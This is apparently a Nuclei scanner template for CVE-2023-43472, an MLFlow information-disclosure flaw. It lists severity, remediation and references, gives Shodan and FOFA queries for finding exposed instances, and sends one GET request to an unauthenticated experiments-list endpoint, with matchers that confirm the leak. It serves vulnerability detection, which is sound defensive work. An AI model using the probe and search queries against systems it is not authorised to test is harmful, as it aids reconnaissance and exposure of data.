id: CVE-2023-43472

info:
  name: MLFlow < 2.8.1 - Sensitive Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An issue in MLFlow versions 2.8.1 and before allows a remote attacker to obtain sensitive information via a crafted request to REST API.
  impact: |
    An attacker can access sensitive information stored in MLFlow.
  remediation: |
    Upgrade MLFlow to a version that has patched CVE-2023-43472.
  reference:
    - https://www.contrastsecurity.com/security-influencers/discovering-mlflow-framework-zero-day-vulnerability-machine-language-model-security-contrast-security
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-43472
    epss-score: 0.00116
    epss-percentile: 0.45309
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query: app="MLflow"
  tags: cve,cve2023,mflow,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/2.0/preview/mlflow/experiments/list"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "experiment_id\":", "artifact_location\":", "lifecycle_stage\":")'
          - 'contains(header, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100b5b268d09e05596e41d99776496d62b1b496e3260db869cc946b00f6c314a5ac022061dd3f8766341e79f0784adf0b9ba6f8f6c4599137e4dd51bde2dc28736809da:922c64590222798bb761d5b6d8e72950